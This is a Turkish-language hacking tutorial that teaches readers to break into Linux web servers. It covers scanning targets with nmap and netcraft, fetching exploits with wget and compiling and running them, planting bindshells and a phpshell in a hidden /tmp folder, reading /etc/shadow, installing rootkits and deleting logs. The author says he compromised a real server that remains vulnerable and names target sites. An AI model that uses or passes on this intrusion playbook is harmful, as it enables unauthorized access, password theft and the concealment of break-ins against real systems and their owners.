SISTEM HACK & ROOTING
SISTEM HACK & ROOTING
Genel olarak herkes site hackleme peşinde koşuyor.. Biz ise sistemleri nasıl hackleyeceğinizi öğretiyoruz.. Zaten sistemi hackleyip kendi yönetimine alınca o sistemde bulunan siteler elinin altına gelmiş olacaktır..
sistem derken shell veren bir makine yada web serverlarını kast ediyoruz.. Üzerine kurulu daemon ların açığını kullanarak yada local
attack lar düzenleyerek sistemi sahiplenebiliriz.. Bu olayları gerçekleştirirken biz Sistem açıklarını kullanmamızı sağlayan minik progragramcıklar olan Exploit leri kullanırız..
Exploit Nedir:
Exploitler genel olarak .c ve .pl uzantılı dosyalardır içinde kodlar vardır.. .c uzantılı olan dosyalar C dili ile yazılmış kaynak kodları içerir .pl olanlarda perl dili ile yazılmış kodları içerir.. Bunlar haricinde assembly dili ile yazılmış olanlarda vardır..
Şimdi bu exploitleri yazan şhısların C dilini yalamış yutmuş sistemleri gözü kapalı anlatabilecek seviyede olan hacker lar ın yazdığınıda söylemek isterim.. Exploitler attack türüne göre 2 ye ayrılır..
1- Local Attack..
2- Remote Attack..
Yüzeysel olarak anlatmak gerekirse Local attack uygularken sen olduğun makinadaki kısıtlı yetkini aşıp root olmak için uğraşırsın.. Bunun için local root exploitler kullanılır.. Tabi burda genel konuşuyorum başka amaçlar içinde local Exploitler kullanılabiliyor.. Remote Attacklar ise Alakan olmayan bir makina örneğin bir web server burda senin account un yok bu makinaya local bir attack düzenleyemezsin.. Bunun için remote türü attacklar la remote exploitler kullanılabilir.. Bu remote Exploitlerin bir kısmı seni makineye düşürür sonrasında local root türü bir exploitle root yetkisine geçersin.. Bi kısmıda Remote Root tur içeri düştüğün zaman id kısmında Root yazar.. Kısaca mantık budur.. Exploitler kaynak kod halinde olduğu için bunlar Compile (derlemek) edilmelidir.. Bunun için windows altında çalışan compiler lar mevcut olsada.. Exploitler in geneli Linux makinede Compile edilmek üzere tasarlanır.. Yani o şekil yazılır.. windows altında compile etmek isteyince .h library ha! tası verecektir.. Linux makinedeki “gcc” Compileri bu iş için çok uygundur.. Exploitleri compile etmek için 1 kaç seçenek doğuyor.. 1 Shell hesabı alarak oradaki gcc compilerini kullanabilirsiniz.. Yada kendi bilgisayarınız herhangi bir Linux dağıtımını yükleyebilir komut satırını shell olarak kullanabilirsiniz.. Tavsiyem shell dir.. Hem komut tabanlı kullanılıyor hemde bağlantı hızı oldukça iyidir.. Shell kvramını bilmeyenler için açıklamak istiyorum..
Shell Nedir :
Shell Linux işletim sistemi kullanan bir makineden size verilen kısıtlı yetkilere sahip olduğunuz alan dır.. Bi yerdir yani.. Bu alana putty programı aracılığı ile bağlanılabilir.. Kullanılan port ve protokol ; SSH protokolu ve 22. Porttur.. SSH güvenlidir.. telnet gibi değildir yani.. Bu Shell hesabına ircd kurulabildiği gibi exploit compile olaylarıda yapılabiliyor.. Bu kısım anlaşılmıştır umarım.. birazda putty programına değinelim.. Önceden hazırladığım kısa bir yazımı aynen yazıyorum..
Putty Nedir :
Putty Telnet/SSH Clientidir.. Bu programla telnet ve SSH sunucularına rahatlıkla bağlanabilir komutları program üzerinden girebilirsiniz… Kullanımı oldukça basittir..Download bölümünde putty programı mevcuttur.. Şimdi putty i download ettikten sonra… programı çalıştırın… “Host Name ( or IP adress)” yazan kutucuğa shell inizin ip sini yazacaksınız… Hemen o kutucuğun altında “Protocol” seçenekleri var bağlanmak istediğiniz sistemin protokolune göre ordan birini seçeceksiniz SSH sunucusuna bağlanıorsanız “SSH” yi telnet sunucusuna bağlanıorsanız “Telnet” i seçeceksiniz.. Bizim bağlanacağımız sistem linux olduğuna göre ve bu sistem SSH protololu kullandığı için “SSH” yi seçiyoruz.. “SSH” yi seçtikten sonra sağ alttaki “open” botonuna basın… Önünüze siyah bir ekran çıkacaktır buraya Shell username inizi yazın enterlayın.. Pass inizi isteyecek onuda yazıp enterlayın… Shelle bağlanmış olacaksınız… Şimdi Linux makinaya bağlanmış olduğumuza göre bi kaç lin! ux komutundan bahsedeyim…
ls : olduğunuz dizindeki dosyaları listeler.. (örnek: ls )
rm -rf dosyaadi : belirttiğiniz dosyayı siler.. (örnek: rm -rf apache.c)
wget : Dosya çekmeye yarar… (örnek: wget http://ctrspawn.kolayweb.com/Apache_1.3.x.c)
gcc -o : C dilinde yazılmış programları derleme komutudur… Biz genellikle bunu exploit kodlarını derlemek için kullanacağız (örnek: gcc -o Apache Apache_1.3.x.c)
./ : Çalıştırma komutudur.. (örnek: ./Apache)
Exploit Compile Nasıl yapılır :
Şimdi Shell imiz var ve putty programı ile shell imize bağlandığımızı var syarak anlatıyorum… Öncelikle kullanacağımız 3-5 temel komutumuz var.. bunları örneklerle açıklayacağız..
“wget http://ctrspawn.kolayweb.com/Gtkftp_v1.0.4.c” Bu komutla http://ctrsapawn.kolayweb.com/Ftkftp_v1.0.4.c isimli dosyayı çekioruz yani wget komutu dosya çekmeye yarıyor….
“gcc -o Gtkftp Gtkftp_v1.0.4.c” Bu komutla Gtkftp_v1.0.4.c isimli exploiti derliyoruz… ama derlenmiş olan exploiti Gtkftp adında kaydediyoruz… Bu komutla bu dediklerim oluyo…
“./Gtkftp” Komutu ile bu exploitle birlikte kullanabileceğim parametreleri gördüm… Yani exploiti çalıştırmayı denedim ama yetersiz parametre kullandığım için bana açıklama verdi kullanabileceğim parametrelerin bi listesini verdi….
“./Gtkftp -h www.cyberterrorz.com” Komutu ile www.cyberterrorz.com sitesi üzerine bu exploiti çalıştırmayı denedim ama verdiği uyarıda www.cyberterrorz.com sitesi “<- 220 ProFTPD 1.2.7 Server (ProFTPD) [OEI.guncelturk.net]
[!] error: this exploit is only for GtkFTPd, failed.
” proFTPD kullanıor ve bu exploit sadece Gtk ftp kullanan host larda çalışır dio…
Olay bundan ibaret screenshot u iyice inceleyin bi çok kısmı anlayacaksınız zaten….
Exloit compile etme ve çalıştırma olayıda açıklığa kavştu Şimdi bir sisteme nasıl girilir onu görelim..
Exploit Kullanarak Sisteme girmek : Önceki yazımda anlattığım ve screenshotunu aldığım bir remote Attack ‘ım olmuştu..
Şimdi en can alıcı noktaya geldik… Yukarda örnekle gösterdiklerimi şimdi uygulamaya dökeceğim… Bunun için öncelikle bir hedef belirlemem gerekiyor… www.XXXXXX.com serverlarına gireceğim.. işlem sırasına gelince..
1- www.netcraft.com sitesinden server infosunu almak.. yada sitemizde werdiğimiz scan_projecti kullanarak httpd server infosuna bakmak..
2- Gerekli exploiti temin etmek…
3- Shell ‘e login olup gerekli exploiti shell e çekmek ve kullanmak…
4- Servera bindshell kurmak…(bunu loglara kayitlanmamak için yapiyoruz ve ayrıca shelin kapatilmasi söz konusu olabilir..
5- Serverda root olmak…
6- Rookit kurmak (binshelle idare ederim diyorsanız gerek yok)
6- Loglari silmek
İşlemleri sırasıyla yapıyorum…
1- Server infosunu aldım.. Kullanılan server bilgileri şöyle;
The site www.XXXXXX.com is running Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6 PHP/4.0.4pl1 mod_perl/1.24_01 on Linux.
2- 7350 fun Exploit i ile bu servera girebilirim…
3- Shell e login oldum… Exploiti çektim çalıştırdım…
4- HPbindshell i kurdum…
5- ptrace-kmod exploiti ile serverda root oldum…
7350 exploiti kaynak kod halinde deil derlenmiş halde dağıtılıyor ayrıca eski bir exploittir…Şimdi screenshot u yayınlayacam…..
Ben bu sisteme dökümanı yazmadan önce girmiştim… dolayısıyla bazı yerleri atlamam gerekiyor…Bu sistemde bu açık hala mevcuttur… 7350 yi hebele olarak shell e kaydettim… Kulandığım komuta gelince… Exploit brute force yöntemi ile çalışıor… Ben brute force un etkili olduu kısmı direkt yazarak kısa yoldan sisteme girdim.. Screenshot un sonunda yazan yazılar gelince bi süre bekledikten sonra shell e düşürecektir..Sonraki işlemler… Aslında istesek bu şekilde shell kullanarak oraya girebiliriz… Ama bi süre sonra Read Error verip bizi düşürecektir…O yüzden bindshell türü bir program kurarak bu sorunu hallederiz… Ama öncelikle yazma iznimizin olduğu bir klasöre girelim genel olarak /tmp/ dizininie yazma iznimiz vardır bazı sistem yöneticileri bunuda kaldırıyor ama nadir olan bi olay.. Tmp dizinine geçmek için “cd /tmp” komutunu uygulayın… Bu konu ile ilgili tüm sorularınızı forumlarda sorabilirsiniz..
Bind Shell kurulumu : Şimdi sisteme bindshell denilen bi çeşit trojan niteliği taşıyan bir program kurmak gerekecek.. amacı sistemdeki belirli bir portu bindshell olarak açması ve buraya bağlanmayı sağlamasıdır.. bindshell türü programcıkları download bölümünde bulabilirsiniz.. Exploitle içeri düşünce bi nevi shell hesabımız oluyor o makinada.. ama anonymous bir shell.. id mizde nobody yada farklı bişey yazar.. Normal de Shell hesabı olanların /home/ dizini altında bir klasörü olur.. Gerçi klasör olayı root a bağlıdır ama geneli böyledir.. bu Anonymous girişte bu dizin altında klasörümüz olmaz.. bindshell kuruyoruz çünki her zaman exploiti kullanıp sisteme remote attack düzenlemek zorunda kalmayalım diye.. Her zaman Exploitin sonuç vereceği kesin değildir açık patch lenmiş olabilir.. ve Exploitlerin kısa sürede sonuç vereceğide kesin değildir.. Neyse bindshell kurulumunun anlatılacak bi tarafı yok ./bindshel deyip kurulur.. Sonrasında sistem hakkında biraz bilgi alarak siste! min nasıl rootlanacağına bakılır.. “uname -r” Komutu ile kernel in sürümü öğrenilip buna göre local root exploit uygulanabilir yada “ps x” gibi komutlarlada çalışan uygulama ve programlara görede bakılabilir.. Burada biraz Linux bilgisi ister… Şimdi şu kısıma dikkat edin.. Öncelikle bir remote attack düzenledik sisteme girdik.. Şimdi ise bir local attack düzenleyip root olmaya çalıştık.. işlem sırası o şekilde ilerliyor.. Önce sisteme girmek gerekir sonra local bir attackla sisteme sahip olamk gerekir… Sistemde bir hesabınız olursa remote attack kısmını eleyip local attack yöntemlerine bakarsınız olay bu… Sistemdeki Şifreleri almak için “cat /etc/shadow” komutunu uygulayıp /etc/ dizini altındaki “shadow” isimli dosyanın içeriği ekrana basabilir shadow pass leri alabilirsiniz.. ama sistemde root olduktan sonra ne gereği varki zaten sistemdeki istediğiniz her dosyaya her siteye erişim sağlarsınız.. Root olduktan sonra sisteme bir rootkit kurarak gizli giriş çıkış yapabil! iğrsiniz.. Rootkit olayını ManiaC arkadaşımız anlatmış güzelce.. “System hack & Rooting” Bölümünde var olan bu dökümanı okuyabilirsiniz.. Unutmayın Her türlü Sorununuzu yada probleminizi kafanıza takılan her şeyi Forumlarda Sorabilirsiniz..
Bir Saldırı Anatomisi…
Günümüzde Hack olayına duyulan merak ve ilgi oldukça fazla ve günden günede artıyor…. Ama sürekli yanlış yönlendirme işin kolayına kaçma ve ezber olaylar yeni yetişecek gençlerin gelişimini olumsuz etkiliyor…Mail account larının ele geçirilmesi, ICQ uin lerinin yada irc serverlarına clone sokmanın hacker lık yada bu işleri yapana hacker denildiğini zanneden kardeşlerimize yol göstermeye çalışacağım… Hacker lamer cracker gibi kavramları anlatmayacağım ama hacker ların izlediği yolu ele geçirmek istediği sistemi nasıl hacklediklerini anlatmaya çalışacağım.. Öncelikle asıl konumuz bir sisteme erişebileceğimiz yolları görmektir ki buda hackerların izlediği bir yoldur..
1- Sistem Hakkında olabildiği kadar bilgi toplamak…
2- Bilgileri değerlendirebilecek materyallere ulaşmak…
3- Materyalleri sırayla kullanmak…
4- Sonuca ulaşmak…
1- a) Nmap kullanmak..
Nmap programını duymuşsunuzdur.. Eşsiz bir scannerdır.. Burada dikkat edilecek nokta bu scanner herhangi bir açığı scan yapmıyor.. O eskiden kalan cgi scanner vs.. türü scannerları beyninizden silip atın.. çünkü biz site hacklemiyoruz.. Zaten site hacklenmez deface edilir.. Girmek istediğimiz sistem hakkında bilgi toplamak için en uygun araçtır.. Bize lazım olacak hemen hemen her şeyi bu programla bulabiliyoruz.. Programın özelliklerine gelince… Derinlere girmeyeceğim serverda çalışan daemon ları açık portları ve bu daemon ların sürümlerini verebilen SYN Stealth, ping türü scan yapabilen tam bir hacker aracıdır.. Normal port tarayıcıları ping mantığı ile çalışır sırayla tüm portlara ping atar ve pong gelirse yanıt almış olur ve bu portu açık söyler.. Önceden program yazarı port listi programa girmiştir açık port a denk gelen text i ekrana yazar.. Örneğin 21. portu açık buldu port list te ne 21. port a denk gelen yazı neyse onu size söyler.. nmap ın ping türü taramasıda ayn! ı sekilde çalışır yanlız açık bulduğu portu listeden değil ne amaçla kullanıldığını tespit edip söyler.. ping türü taramalar server ın loglarında görülür.. hangi porta hangi ip den ping atıldığı log larda belli olur.. ama nmap ın en müthiş özelliği olan SYN Stealth tarama % 90 oranında loglarda gözükmüyor.. kalıntılar olabiliyor ama güvende olduğunuz hemen hemen kesindir.. namp Linux altında çalışan komut tabanlı bir scannerdır.. sistemde yüklü olması gerekir ve hemen hemen tüm server larda default olarak Linux la birlikte kurulu olur.. serverlarda olur ama sizde de olması gerekir.. en ideali Linux bir makineye sahip olmanızdır.. Çünkü shell lerde nmap kullanamazsınız root yetkisi ile çalışır.. permission verilmişse kullanırsınız bu iş kasar biraz.. Linux işletim sistemi kullandığınızı var sayarak anlatmaya devam ediyorum.. Konsol da “nmap” yazarsanız size uzunca bir arguman çıkartacaktır.. incelediğiniz zaman ne kadar fonksiyonel bir scanner olduğunu göreceksiniz.. biz sade! ce “nmap -sS -T4 -F -A -O ip” komutunu kullanacağız.. ihtiyacnıza göre parametreleri düzenleyebilirsiniz.. ip yazan kısıma Hacklemek istediğiniz sistemin ip adresini yazacaksınız.. Scan sonucunu almak için bi süre beklemeniz gerekecektir.. Tarama sonucuna bakınca bi sürü yazı yazdığını göreceksiniz.. Burda amacımıza ulaşmış oluyoruz.. Ama bu önümüze çıkan şeyler ne işe yarayacak ? Bu sonuçlarda ;
PORT STATE VERSION Başlıkları altında açık port statüsü ve kullanılan daemon ve versiyonları yazıyor.. Bu sonuca göre çalışan daemon açıklarını kullanıp server ‘a girme yollarını denemek gerekecek..
1- b) Scan Project kullanmak..
Bu program shellde çalışabiliyor.. ve bir Türk arkadaşımız yazdı… Yaptığı işlem kolay 80. port açıksa bu portun infosunu alarak 80. portu kullanan daemon un infosunu ve üzerinde çalışan modülleri listeler.. Biliyorsunuzki apache daemon u modüller le birlikte çalışır.. mod_ssl, mod_mylo, mod_perl vs.. vs.. bu modüllerinde açıkları vardır bize lazım olabilir diyerekten sonuçları alalım.. fazla bilgi göz çıkarmaz.. program .c uzantılı code halindedir.. gcc komutu ile derlenip kullanılabilir..
2- Ulaştığımız bilgileri değerlendirecek materyallere ulaşmak… Sonuçlarda apache daemonu versiyonu ve müdüllerini bulduk diyelim.. Bir Hacker bu bulduğu sonuçlara göre exploit yazabilen birisidir O bulduğu statü versiyon daemon lara göre oldukça risk gerektiren sonuçlar üretebilir.. Bu dökümanı okuyan şahısların bu derecede olmadığına göre biz exploitlere ulaşmak için gerekli web adreslerini vermekle yetineceğiz… www.packetstomsecurity.nl , www.securityfocus.com gibi security içerikli sitelerde gerekli materyallere ulaşılabilir… ingilizce dil bilmenin bu olayda çok büyük olumlu etkisi olacaktır.. Ama buna gerek kalmadı www.cyberterrorz.com adresi bunun için yapılandırıldı.. Ulaşabileceğiniz tüm materyaller bu sitede mevcuttur.. Bulduğunuz exploitleri bir shell de compile edip kullanabilirsiniz..
3- Materyalleri Sırayla Kullanmak
Remote attack için ulaştığımız bu sonuçlar ve bulduğumuz tüm materyalleri shellde denemek gerekir.. eğer bir sonuç alınamadıysa.. Ki hacker lar mutlak sonuç alır ama bulabileceğiniz materyaller public olduğu için girmek istediğiniz server da açıklar patch lenmiş olabilir.. Bu durumda bir Local attack uygulanacaktır.. Sistemde shell verilmediği büyük bir olasılık taşır bu durumda ftp ile bir local attack uygulayacağız.. Girmek istenilen server ın Linux olduğunu var sayıyorum.. Bu durumda karşı sistemden bir ftp accountu alınır bir host yani.. Bu hostumuzda php destekleniyordur.. phpshell.php isimli bir dosya vardır bu dosya browser üzerinden server a komut işlemeye yarar.. serverın safe mode off konumunda çalışması gerekir ki % 90 serverlar bu şekilde çalışır.. Burada uygulanacak adım browser a aldığınız siteyi ve phpshell dosyasının path ini yazmaktır örneğin : www.site.com/phpshell.php yazdıktan sonra açılan sayfada komut satırına “cd /tmp; mkdir .h; cd .h” komutunu uygulam! aktır.. bu komut /tmp dizin altında “h” adında bir gizli klasör oluşturur… bu klasöre bindshell açan bir dosya çekip çalıştırmak gerekecek sonra putty ile bindshell portuna bağlanıp local root exploitle sistemi rootlamak gerekecek.. Genelde bu yöntem remote attack lara göre daha etkili sonuç verir…
4- Sonuca ulaşmak ..
Sonuç dediğimiz nedir ? Sisteme girmek için bir nedenimiz olması gerekir değilmi.. Bir hacker neden bir sisteme girer deface içinmi kesinlikle hayır..Tanıdığım hiç bir hacker deface ypatığını görmedim.. Amaç denilen şey o makinede bulunan bir bilgi bir log yada bir dokumandır..Sizinde amacınız bu olsun sisteme zarar vermenin yada boy gösterisi yapmanın hacker lıkla alakası yoktur..